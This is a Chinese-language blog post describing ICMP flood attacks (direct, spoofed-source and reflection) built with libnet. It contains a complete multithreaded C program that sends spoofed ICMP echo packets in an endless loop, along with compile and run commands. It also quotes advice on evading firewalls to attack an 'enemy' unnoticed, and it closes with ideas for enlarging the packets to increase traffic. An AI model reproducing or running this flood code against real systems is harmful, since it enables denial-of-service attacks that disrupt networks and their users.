libnet-ICMP攻击

刚开始接到的任务是,要求主机A给主机B发送ICMP数据包,将源IP和目的IP都填成B的IP,使B接受自己给自己的ICMP回应包,如下图:

 

 

发现这样不足以对B产生影响,于是打算借助别的服务器,如下图:

后来才知道自己做的其实是ICMP攻击。

ICMP攻击分为三种方式:

1、直接flood

缺点:需要足够的带宽,而且容易暴露自己的IP。

2、伪造IP的Flood

3、反射

这应该就是我上面的那种方法了吧。

把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口……
从示意图可以看出,它比上面两种方法多了一级路径——受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!(我的两种方式效果就很不同)

引用别人的博客:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细测试过,大家可以试试看Type=3、4、11的特殊报文会不会有更大效果。

以下是源代码:

sendicmp.c

#include <pthread.h>
#include <stdio.h>
#include <sys/time.h>
#include <string.h>
#include <libnet.h>
#define THREAD_NUM 100/* the number of the threads*/

pthread_t thread[THREAD_NUM];
int number=0, i;
void *mythread()
{
        int i;
    libnet_t *l = NULL;/* libnet句柄 */
    libnet_ptag_t protocol_tag;/* 协议标记 */
    char *payload_liu_wen_tao = NULL; /* 负载 */
    u_short payload_length = 0; /* 负载长度 */
    char *device = "ech0";/*网络设备接口*/
    char *destination_ip_str = "192.168.1.5";/* 目的IP地址字符串 */
    char *source_ip_str = "192.168.1.7"; /*源IP地址字符串 */
    u_long source_ip = 0; /* 源IP地址 */
    u_long destination_ip = 0; /* 目的IP地址 */
    char errbuf[LIBNET_ERRBUF_SIZE]; /* 错误信息 */
    int packet_length; /* 发送的数据包的长度 */
    l = libnet_init( /* 初始化libnet */
    LIBNET_RAW4, /* libnet类型,为原始套接字IPv4类型 */
    device,  /* 网络设备接口 */errbuf /* 错误信息 */
    );
    source_ip = libnet_name2addr4(l, source_ip_str, LIBNET_RESOLVE);
    /* 把源IP地址字符串形式转化为网络字节顺序的数据 */
    destination_ip = libnet_name2addr4(l, destination_ip_str, LIBNET_RESOLVE);
    /* 把目的IP地址字符串形式转化为网络字节顺序的数据 */
    protocol_tag = libnet_build_icmpv4_echo( /* 构造ICMP回显数据包 */
    ICMP_ECHO, /* 类型,此时为回显请求 */
    0,/* 代码,应该为0 */
    0, /* 校验和,为0,表示由libnet句柄自动计算 */
    123,  /* 标识符,赋值为123,自己任意填写数值 */
    456, /* 序列号,赋值为245,自己任意填写数值 */
    NULL,  /* 负载,赋值为空 */
    0, /* 负载的长度,赋值为0 */
    l, /* libnet句柄,应该是由libnet_init()函数得到的 */
    0  /* 协议块标记,赋值为0,表示构造一个新的协议块 */
    );
    protocol_tag = libnet_build_ipv4(/* 构造IP协议块 */
    LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_length,/* IP协议块的长度 */
    0, /* 服务质量,这里赋值为0 */
    10,  /* 标识符,这里赋值为10 */
    0, /* 偏移,这里赋值为0 */
    20,/* 生存时间,这里赋值为20 */
    IPPROTO_ICMP,/* 上层协议类型,这里是ICMP协议 */
    0, /* 校验和,这里为0表示由libnet计算校验和 */
    source_ip, /* 源IP地址 */
    destination_ip,/* 目的IP地址 */
    payload_liu_wen_tao, /* 负载 */
    payload_length, /* 负载的长度 */
    l,/* libnet句柄 */
    0 /* 协议块标记,为0表示构造一个新的IP协议块 */
    );

    while(1){
        packet_length = libnet_write(l); /* 发送由libnet句柄l表示的数据包 */
        //printf("the length of the ICMP packet is %d\n", packet_length);
        /* 输出发送的数据包信息 */
        }
    libnet_destroy(l); /* 销毁libnet */
}

void thread_create(void)
{
        int temp,i;
        memset(&thread, 0, sizeof(thread));
        /*创建线程*/
    for(i=0;i<THREAD_NUM;i++)
        if((temp = pthread_create(&thread[i],NULL,mythread,NULL)) != 0)
                printf("线程创建失败!\n");
        //else
                //printf("线程%d被创建\n",i);

}
void thread_wait(void)
{
        /*等待线程结束*/
    int i;
    for(i=0;i<THREAD_NUM;i++)
        if(thread[i] !=0) {
                pthread_join(thread[i],NULL);
                //printf("线程%d已经结束\n",i+1);
        }

}
int main()
{
        thread_create();
        thread_wait();
        return 0;
}

在Ubuntu14.04中编译方法:gcc -o sendicmp sendicmp.c -lnet -lpthread
运行:sudo ./sendicmp

但是目标机接收数据包的流量最大只能达到3MB/S左右,而且目标机也没有很强烈的反应,效果不理想。另外,发送方的发包速率也不高,期望发送方的CPU全部用于发送数据包,但实际测试时CPU只能达到30-40%。暂时不知道有什么更好的改进方法。

 

另外一个思路是,自己写一个服务器,用来抓取A发送的ICMP包,将这个包的内容填充的更大,再发送给B,这样可能B接收到的流量会有所提高,不过现在只会抓包(用libcap抓包的代码在另一篇文章里),不知道怎么填充数据,有待研究。

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。